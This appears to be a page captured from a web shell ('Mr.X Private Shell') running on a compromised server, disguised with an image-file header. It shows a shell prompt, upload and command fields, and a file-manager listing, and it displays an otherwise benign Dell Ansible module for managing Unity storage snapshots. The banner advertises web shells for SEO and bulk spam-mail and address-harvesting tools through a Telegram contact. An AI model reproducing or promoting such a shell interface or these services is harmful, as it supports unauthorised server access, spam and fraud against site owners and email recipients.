����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# Copyright: (c) 2020, Dell Technologies

# Apache License version 2.0 (see MODULE-LICENSE or http://www.apache.org/licenses/LICENSE-2.0.txt)

""" Ansible module for managing Snapshots on Unity"""

from __future__ import (absolute_import, division, print_function)

__metaclass__ = type

DOCUMENTATION = r'''
---
module: snapshot
short_description: Manage snapshots on the Unity storage system
description:
- Managing snapshots on the Unity storage system includes create snapshot,
  delete snapshot, update snapshot, get snapshot, map host and unmap host.
version_added: '1.1.0'

extends_documentation_fragment:
  - dellemc.unity.unity

author:
- P Srinivas Rao (@srinivas-rao5) <ansible.team@dell.com>
options:
  snapshot_name:
    description:
    - The name of the snapshot.
    - Mandatory parameter for creating a snapshot.
    - For all other operations either I(snapshot_name) or I(snapshot_id) is
      required.
    type: str
  vol_name:
    description:
    - The name of the volume for which snapshot is created.
    - For creation of a snapshot either I(vol_name) or I(cg_name) is required.
    - Not required for other operations.
    type: str
  cg_name:
    description:
    - The name of the Consistency Group for which snapshot is created.
    - For creation of a snapshot either I(vol_name) or I(cg_name) is required.
    - Not required for other operations.
    type: str
  snapshot_id:
    description:
    - The id of the snapshot.
    - For all operations other than creation either I(snapshot_name) or
      I(snapshot_id) is required.
    type: str
  auto_delete:
    description:
    - This option specifies whether the snapshot is auto deleted or not.
    - If set to C(true), snapshot will expire based on the pool auto deletion
      policy.
    - If set to (false), snapshot will not be auto deleted
      based on the pool auto deletion policy.
    - Option I(auto_delete) can not be set to C(true), if I(expiry_time) is specified.
    - If during creation neither I(auto_delete) nor I(expiry_time) is mentioned
      then snapshot will be created keeping I(auto_delete) as C(true).
    - Once the I(expiry_time) is set then snapshot cannot be assigned
      to the auto delete policy.
    type: bool
  expiry_time:
    description:
    - This option is for specifying the date and time after which the
      snapshot will expire.
    - The time is to be mentioned in UTC timezone.
    - The format is "MM/DD/YYYY HH:MM". Year must be in 4 digits.
    type: str
  description:
    description:
    - The additional information about the snapshot can be provided using
      this option.
    type: str
  new_snapshot_name:
    description:
    - New name for the snapshot.
    type: str
  state:
    description:
    - The I(state) option is used to mention the existence of
      the snapshot.
    type: str
    required: true
    choices: [ 'absent', 'present' ]
  host_name:
    description:
    - The name of the host.
    - Either I(host_name) or I(host_id) is required to map or unmap a snapshot from
      a host.
    - Snapshot can be attached to multiple hosts.
    type: str
  host_id:
    description:
    - The id of the host.
    - Either I(host_name) or I(host_id) is required to map or unmap a snapshot from
      a host.
    - Snapshot can be attached to multiple hosts.
    type: str
  host_state:
    description:
    - The I(host_state) option is used to mention the existence of the host
      for snapshot.
    - It is required when a snapshot is mapped or unmapped from host.
    type: str
    choices: ['mapped', 'unmapped']

notes:
  - The I(check_mode) is not supported.
'''

EXAMPLES = r'''
  - name: Create a Snapshot for a CG
    dellemc.unity.snapshot:
      unispherehost: "{{unispherehost}}"
      username: "{{username}}"
      password: "{{password}}"
      validate_certs: "{{validate_certs}}"
      port: "{{port}}"
      cg_name: "{{cg_name}}"
      snapshot_name: "{{cg_snapshot_name}}"
      description: "{{description}}"
      auto_delete: False
      state: "present"

  - name: Create a Snapshot for a volume with Host attached
    dellemc.unity.snapshot:
      unispherehost: "{{unispherehost}}"
      username: "{{username}}"
      password: "{{password}}"
      validate_certs: "{{validate_certs}}"
      port: "{{port}}"
      vol_name: "{{vol_name}}"
      snapshot_name: "{{vol_snapshot_name}}"
      description: "{{description}}"
      expiry_time: "04/15/2025 16:30"
      host_name: "{{host_name}}"
      host_state: "mapped"
      state: "present"

  - name: Unmap a host for a Snapshot
    dellemc.unity.snapshot:
      unispherehost: "{{unispherehost}}"
      username: "{{username}}"
      password: "{{password}}"
      validate_certs: "{{validate_certs}}"
      port: "{{port}}"
      snapshot_name: "{{vol_snapshot_name}}"
      host_name: "{{host_name}}"
      host_state: "unmapped"
      state: "present"

  - name: Map snapshot to a host
    dellemc.unity.snapshot:
      unispherehost: "{{unispherehost}}"
      username: "{{username}}"
      password: "{{password}}"
      validate_certs: "{{validate_certs}}"
      port: "{{port}}"
      snapshot_name: "{{vol_snapshot_name}}"
      host_name: "{{host_name}}"
      host_state: "mapped"
      state: "present"

  - name: Update attributes of a Snapshot for a volume
    dellemc.unity.snapshot:
      unispherehost: "{{unispherehost}}"
      username: "{{username}}"
      password: "{{password}}"
      validate_certs: "{{validate_certs}}"
      snapshot_name: "{{vol_snapshot_name}}"
      new_snapshot_name: "{{new_snapshot_name}}"
      description: "{{new_description}}"
      host_name: "{{host_name}}"
      host_state: "unmapped"
      state: "present"

  - name: Delete Snapshot of CG
    dellemc.unity.snapshot:
      unispherehost: "{{unispherehost}}"
      username: "{{username}}"
      password: "{{password}}"
      validate_certs: "{{validate_certs}}"
      snapshot_name: "{{cg_snapshot_name}}"
      state: "absent"
'''

RETURN = r'''
changed:
    description: Whether or not the resource has changed.
    returned: always
    type: bool
    sample: True

snapshot_details:
    description: Details of the snapshot.
    returned: When snapshot exists
    type: dict
    contains:
        is_auto_delete:
            description: Additional information mentioned for snapshot.
            type: str
        expiration_time:
            description: Date and time after which the snapshot
                         will expire.
            type: str
        hosts_list:
            description: Contains the name and id of the associated
                         hosts.
            type: dict
        id:
            description: Unique identifier of the snapshot instance.
            type: str
        name:
            description: The name of the snapshot.
            type: str
        storage_resource_name:
            description: Name of the storage resource for which the
                         snapshot exists.
            type: str
        storage_resource_id:
            description: Id of the storage resource for which the snapshot
                         exists.
            type: str
    sample: {
        "access_type": null,
        "attached_wwn": null,
        "creation_time": "2022-10-21 08:20:25.803000+00:00",
        "creator_schedule": null,
        "creator_type": "SnapCreatorTypeEnum.USER_CUSTOM",
        "creator_user": {
            "id": "user_admin"
        },
        "description": "Test snap creation",
        "existed": true,
        "expiration_time": null,
        "hash": 8756689457056,
        "hosts_list": [],
        "id": "85899355291",
        "io_limit_policy": null,
        "is_auto_delete": true,
        "is_modifiable": false,
        "is_modified": false,
        "is_read_only": true,
        "is_system_snap": false,
        "last_writable_time": null,
        "lun": null,
        "name": "ansible_snap_cg_1_1",
        "parent_snap": null,
        "size": null,
        "snap_group": null,
        "state": "SnapStateEnum.READY",
        "storage_resource_id": "res_95",
        "storage_resource_name": "CG_ansible_test_2_new"
    }
'''

import logging
from ansible.module_utils.basic import AnsibleModule
from ansible_collections.dellemc.unity.plugins.module_utils.storage.dell \
    import utils
from datetime import datetime

LOG = utils.get_logger('snapshot')

application_type = "Ansible/1.6.0"


class Snapshot(object):
    """Class with Snapshot operations"""

    def __init__(self):
        """ Define all parameters required by this module"""

        self.module_params = utils.get_unity_management_host_parameters()
        self.module_params.update(get_snapshot_parameters())

        mutually_exclusive = [['snapshot_name', 'snapshot_id'],
                              ['vol_name', 'cg_name'],
                              ['host_name', 'host_id']]

        required_one_of = [['snapshot_name', 'snapshot_id']]
        # initialize the ansible module
        self.module = AnsibleModule(argument_spec=self.module_params,
                                    supports_check_mode=False,
                                    mutually_exclusive=mutually_exclusive,
                                    required_one_of=required_one_of)
        utils.ensure_required_libs(self.module)

        # result is a dictionary that contains changed status and
        # snapshot details
        self.result = {"changed": False,
                       'snapshot_details': {}}

        self.unity_conn = utils.get_unity_unisphere_connection(
            self.module.params, application_type)
        self.snap_obj = utils.snap.UnitySnap(self.unity_conn)
        LOG.info('Connection established with the Unity Array')

    def validate_expiry_time(self, expiry_time):
        """Validates the specified expiry_time"""
        try:
            datetime.strptime(expiry_time, '%m/%d/%Y %H:%M')
        except ValueError:
            error_msg = "expiry_time not in MM/DD/YYYY HH:MM format"
            LOG.error(error_msg)
            self.module.fail_json(msg=error_msg)

    def to_update(self, snapshot, new_name=None, description=None,
                  auto_del=None, expiry_time=None, host=None,
                  host_state=None):
        """Determines whether to update the snapshot or not"""
        # If the snapshot has is_auto_delete True,
        # Check if auto_delete in the input is either None or True
        if expiry_time and snapshot.is_auto_delete and \
                (auto_del is None or auto_del):
            self.module.fail_json(msg="expiry_time can be assigned "
                                      "when auto delete is False")
        if auto_del and snapshot.expiration_time:
            error_msg = "expiry_time for snapshot is set." \
                        " Once it is set then snapshot cannot" \
                        " be assigned to auto_delete policy"
            self.module.fail_json(msg=error_msg)
        if new_name and new_name != snapshot.name:
            return True
        if description and description != snapshot.description:
            return True
        if auto_del and auto_del != snapshot.is_auto_delete:
            return True
        if to_update_expiry_time(snapshot, expiry_time):
            return True
        if host and to_update_host_list(snapshot, host, host_state):
            return True
        return False

    def update_snapshot(self, snapshot, new_name=None,
                        description=None, auto_del=None, expiry_time=None,
                        host_access_list=None):
        try:
            duration = None
            if expiry_time:
                duration = convert_timestamp_to_sec(
                    expiry_time, self.unity_conn.system_time)
            if duration and duration <= 0:
                self.module.fail_json(msg="expiry_time should be after"
                                          " the current system time")
            snapshot.modify(name=new_name, retentionDuration=duration,
                            isAutoDelete=auto_del, description=description,
                            hostAccess=host_access_list)
            snapshot.update()
        except Exception as e:
            error_msg = "Failed to modify snapshot" \
                        " [name: %s , id: %s] with error %s"\
                        % (snapshot.name, snapshot.id, str(e))
            LOG.error(error_msg)
            self.module.fail_json(msg=error_msg)

    def create_snapshot(self, snap_name, storage_id, description=None,
                        auto_del=None, expiry_time=None):
        try:
            duration = None
            if expiry_time:
                duration = convert_timestamp_to_sec(
                    expiry_time, self.unity_conn.system_time)
                if duration <= 0:
                    self.module.fail_json(msg="expiry_time should be after"
                                          " the current system time")
            snapshot = self.snap_obj.create(
                cli=self.unity_conn._cli, storage_resource=storage_id,
                name=snap_name, description=description,
                is_auto_delete=auto_del, retention_duration=duration)
            return snapshot
        except Exception as e:
            error_msg = "Failed to create snapshot" \
                        " %s with error %s" % (snap_name, str(e))
            LOG.error(error_msg)
            self.module.fail_json(msg=error_msg)

    def delete_snapshot(self, snapshot):
        try:
            if not bool(get_hosts_dict(snapshot)):
                snapshot.detach_from(None)
                snapshot.delete()
            else:
                snapshot.delete()
            return None

        except Exception as e:
            error_msg = "Failed to delete snapshot" \
                        " [name: %s, id: %s] with error %s" \
                        % (snapshot.name, snapshot.id, str(e))
            LOG.error(error_msg)
            self.module.fail_json(msg=error_msg)

    def get_snapshot_obj(self, name=None, id=None):
        snapshot = id if id else name
        msg = "Failed to get details of snapshot %s with error %s "
        try:
            return self.unity_conn.get_snap(name=name, _id=id)

        except utils.HttpError as e:
            if e.http_status == 401:
                cred_err = "Incorrect username or password , {0}".format(
                    e.message)
                self.module.fail_json(msg=cred_err)
            else:
                err_msg = msg % (snapshot, str(e))
                LOG.error(err_msg)
                self.module.fail_json(msg=err_msg)

        except utils.UnityResourceNotFoundError as e:
            err_msg = msg % (snapshot, str(e))
            LOG.error(err_msg)
            return None

        except Exception as e:
            err_msg = msg % (snapshot, str(e))
            LOG.error(err_msg)
            self.module.fail_json(msg=err_msg)

    def get_volume_obj(self, name):
        try:
            return self.unity_conn.get_lun(name=name)
        except Exception as e:
            error_msg = "Failed to get volume %s with error %s"\
                        % (name, str(e))
            LOG.error(error_msg)
            self.module.fail_json(msg=error_msg)

    def get_cg_obj(self, name):
        try:
            return self.unity_conn.get_cg(name=name)
        except Exception as e:
            error_msg = "Failed to get cg %s with error %s" % (name, str(e))
            LOG.error(error_msg)
            self.module.fail_json(msg=error_msg)

    def get_host_obj(self, name=None, id=None):
        """ Get the Host object"""
        try:
            return self.unity_conn.get_host(name=name, _id=id)
        except Exception as e:
            host = id if id else name
            error_msg = "Failed to get host %s with error %s"\
                        % (host, str(e))
            LOG.error(error_msg)
            self.module.fail_json(msg=error_msg)

    def attach_to_snap(self, snapshot, host):
        """ Attach snapshot to a host """
        try:
            if not get_hosts_dict(snapshot):
                snapshot.detach_from(None)
            snapshot.attach_to(host)
            snapshot.update()
        except Exception as e:
            error_msg = "Failed to attach snapshot [name: %s, id: %s]" \
                        " to host [%s, %s] with error %s"\
                        % (snapshot.name, snapshot.id,
                           host.name, host.id, str(e))
            LOG.error(error_msg)
            self.module.fail_json(msg=error_msg)

    def perform_module_operation(self):
        """
        Perform different actions on snapshot module based on parameters
        chosen in playbook
        """
        snapshot_name = self.module.params['snapshot_name']
        snapshot_id = self.module.params['snapshot_id']
        vol_name = self.module.params['vol_name']
        cg_name = self.module.params['cg_name']
        auto_delete = self.module.params['auto_delete']
        expiry_time = self.module.params['expiry_time']
        description = self.module.params['description']
        new_snapshot_name = self.module.params['new_snapshot_name']
        host_name = self.module.params['host_name']
        host_id = self.module.params['host_id']
        host_state = self.module.params['host_state']
        state = self.module.params['state']
        host = None
        storage_resource = None
        changed = False

        LOG.info("Getting Snapshot details")
        snapshot = self.get_snapshot_obj(name=snapshot_name, id=snapshot_id)

        if snapshot and not snapshot.existed:
            snapshot = None
        msg = "snapshot details: %s" % str(snapshot)
        LOG.info(msg)

        #  Get Volume Object
        if vol_name is not None:
            if vol_name == "" or vol_name.isspace():
                self.module.fail_json(msg="Invalid vol_name given, Please"
                                          " provide a valid vol_name")
            storage_resource = self.get_volume_obj(name=vol_name)

        # Get Consistency Group Object
        if cg_name is not None:
            if cg_name == "" or cg_name.isspace():
                self.module.fail_json(msg="Invalid cg_name given, Please"
                                          " provide a valid cg_name")
            storage_resource = self.get_cg_obj(name=cg_name)

        # Get host object for volume snapshots
        if host_id or host_name:
            if cg_name:
                self.module.fail_json(msg="Mapping CG snapshot to host"
                                          " is not supported.")
            host = self.get_host_obj(name=host_name, id=host_id)

        # Check whether host_name or host_id is given in input
        # along with host_state
        if (host and not host_state) or (not host and host_state):
            self.module.fail_json(
                msg="Either host_name or host_id along with host_state "
                    "is required to map or unmap a snapshot from a host")

        # Check for error, if user tries to create a snapshot with the
        # same name for other storage resource.
        if snapshot and storage_resource and\
                (snapshot.storage_resource.id != storage_resource.id):
            self.module.fail_json(
                msg="Snapshot %s is of %s storage resource. Cannot create new"
                    " snapshot with same name for %s storage resource"
                    % (snapshot.name, snapshot.storage_resource.name,
                       storage_resource.name))

        # check for valid expiry_time
        if expiry_time is not None and \
                (expiry_time == "" or expiry_time.isspace()):
            self.module.fail_json(msg="Please provide valid expiry_time,"
                                      " empty expiry_time given")
        # Check if in input auto_delete is True and expiry_time is not None
        if expiry_time and auto_delete:
            error_msg = "Cannot set expiry_time if auto_delete given as True"
            LOG.info(error_msg)
            self.module.fail_json(msg=error_msg)

        # Check whether to modify the snapshot or not
        update_flag = False
        if snapshot:
            update_flag = self.to_update(snapshot,
                                         new_name=new_snapshot_name,
                                         description=description,
                                         auto_del=auto_delete,
                                         expiry_time=expiry_time,
                                         host=host, host_state=host_state)
        msg = "update_flag for snapshot %s" % str(update_flag)
        LOG.info(msg)

        # Create a Snapshot
        if not snapshot and state == "present":
            LOG.info("Creating a snapshot")
            if snapshot_id:
                self.module.fail_json(msg="Creation of Snapshot is allowed"
                                          " using snapshot_name only, "
                                          "snapshot_id given")
            if snapshot_name == "" or snapshot_name.isspace():
                self.module.fail_json(msg="snapshot_name is required for"
                                          " creation of a snapshot,"
                                          " empty snapshot_name given")
            if not storage_resource:
                self.module.fail_json(msg="vol_name or cg_name required to"
                                          " create a snapshot")

            if new_snapshot_name:
                self.module.fail_json(
                    msg="new_snapshot_name can not be assigned"
                        " during creation of a snapshot")

            snapshot = self.create_snapshot(snapshot_name,
                                            storage_resource.id,
                                            description, auto_delete,
                                            expiry_time)
            if host and host_state == "mapped":
                self.attach_to_snap(snapshot, host)
            changed = True

        # Update the Snapshot
        if snapshot and state == "present" and update_flag:

            LOG.info("Updating the Snapshot details")

            if host_state == 'mapped':
                self.attach_to_snap(snapshot, host)
                self.update_snapshot(
                    snapshot, new_name=new_snapshot_name,
                    description=description, auto_del=auto_delete,
                    expiry_time=expiry_time)

            elif host_state == 'unmapped':
                host_access_list = create_host_access_list(snapshot,
                                                           host,
                                                           host_state)
                self.update_snapshot(
                    snapshot, new_name=new_snapshot_name,
                    description=description, auto_del=auto_delete,
                    expiry_time=expiry_time,
                    host_access_list=host_access_list)

            else:
                self.update_snapshot(
                    snapshot, new_name=new_snapshot_name,
                    description=description, auto_del=auto_delete,
                    expiry_time=expiry_time)
            changed = True

        # Delete the Snapshot
        if state == "absent" and snapshot:
            snapshot = self.delete_snapshot(snapshot)
            changed = True

        # Add snapshot details to the result.
        if snapshot:
            snapshot.update()
            self.result["snapshot_details"] = \
                create_snapshot_details_dict(snapshot)
        else:
            self.result["snapshot_details"] = {}

        self.result["changed"] = changed
        self.module.exit_json(**self.result)


def create_snapshot_details_dict(snapshot):
    """ Add name and id of storage resource and hosts to snapshot details """
    snapshot_dict = snapshot._get_properties()
    del snapshot_dict['storage_resource']
    del snapshot_dict['host_access']
    snapshot_dict['hosts_list'] = get_hosts_list(
        get_hosts_dict(snapshot))
    snapshot_dict['storage_resource_name'] = \
        snapshot.storage_resource.name
    snapshot_dict['storage_resource_id'] = \
        snapshot.storage_resource.id
    return snapshot_dict


def get_hosts_list(hosts_dict):
    """ Get the host name and host id of all the associated hosts """
    hosts_list = []
    if not hosts_dict:
        return hosts_list

    for host in list(hosts_dict.keys()):
        hosts_list.append(
            {
                "host_name": host.name,
                "host_id": host.id
            }
        )
    return hosts_list


def create_host_access_list(snapshot, host, host_state):
    """ This method creates a List of dictionaries which will be used
        to modify the list of hosts mapped to a snapshot """
    host_access_list = []
    hosts_dict = get_hosts_dict(snapshot)
    # If snapshot is not attached to any host.
    if not hosts_dict:
        return None
    if to_update_host_list(snapshot, host, host_state):
        if host_state == "mapped":
            return None
        for snap_host in list(hosts_dict.keys()):
            if snap_host != host:
                access_dict = {'host': snap_host,
                               'allowedAccess': hosts_dict[snap_host]}
                host_access_list.append(access_dict)
    return host_access_list


def get_hosts_dict(snapshot):
    """ This method creates a dictionary, with host as key and
        allowed access as value """
    hosts_dict = {}
    LOG.info("Inside get_hosts_dict")
    if not snapshot.host_access:
        return hosts_dict
    for host_access_obj in snapshot.host_access:
        hosts_dict[host_access_obj.host] = \
            host_access_obj.allowed_access
    return hosts_dict


def to_update_host_list(snapshot, host, host_state):
    """ Determines whether to update hosts list or not"""
    hosts_dict = get_hosts_dict(snapshot)
    if (not hosts_dict or host not in list(hosts_dict.keys()))\
            and host_state == "mapped":
        return True
    if (hosts_dict and host in list(hosts_dict.keys())) \
            and host_state == "unmapped":
        return True
    return False


def to_update_expiry_time(snapshot, expiry_time=None):
    """ Check whether to update expiry_time or not"""
    if not expiry_time:
        return False
    if snapshot.expiration_time is None:
        return True
    if convert_timestamp_to_sec(expiry_time, snapshot.expiration_time) != 0:
        return True
    return False


def convert_timestamp_to_sec(expiry_time, snap_time):
    """Converts the time difference to seconds"""
    snap_time_str = snap_time.strftime('%m/%d/%Y %H:%M')
    snap_timestamp = datetime.strptime(snap_time_str, '%m/%d/%Y %H:%M')
    expiry_timestamp = datetime.strptime(expiry_time, "%m/%d/%Y %H:%M")
    return int((expiry_timestamp - snap_timestamp).total_seconds())


def get_snapshot_parameters():
    """This method provide parameter required for the ansible snapshot
    module on Unity"""
    return dict(
        snapshot_name=dict(required=False, type='str'),
        snapshot_id=dict(required=False, type='str'),
        vol_name=dict(required=False, type='str'),
        cg_name=dict(required=False, type='str'),
        auto_delete=dict(required=False, type='bool'),
        expiry_time=dict(required=False, type='str'),
        description=dict(required=False, type='str'),
        new_snapshot_name=dict(required=False, type='str'),
        host_name=dict(required=False, type='str'),
        host_id=dict(required=False, type='str'),
        host_state=dict(required=False, type='str',
                        choices=['mapped', 'unmapped']),
        state=dict(required=True, type='str', choices=['present', 'absent'])
    )


def main():
    """ Create Unity Snapshot object and perform actions on it
        based on user input from playbook"""
    obj = Snapshot()
    obj.perform_module_operation()


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
cifsserver.py File 23.98 KB 0644
consistencygroup.py File 59.71 KB 0644
filesystem.py File 76.11 KB 0644
filesystem_snapshot.py File 30.21 KB 0644
host.py File 39.13 KB 0644
info.py File 54.49 KB 0644
interface.py File 18.75 KB 0644
nasserver.py File 47.26 KB 0644
nfs.py File 70.05 KB 0644
nfsserver.py File 19.93 KB 0644
smbshare.py File 34.9 KB 0644
snapshot.py File 27.47 KB 0644
snapshotschedule.py File 38.27 KB 0644
storagepool.py File 34.52 KB 0644
tree_quota.py File 26.39 KB 0644
user_quota.py File 39.42 KB 0644
volume.py File 47.02 KB 0644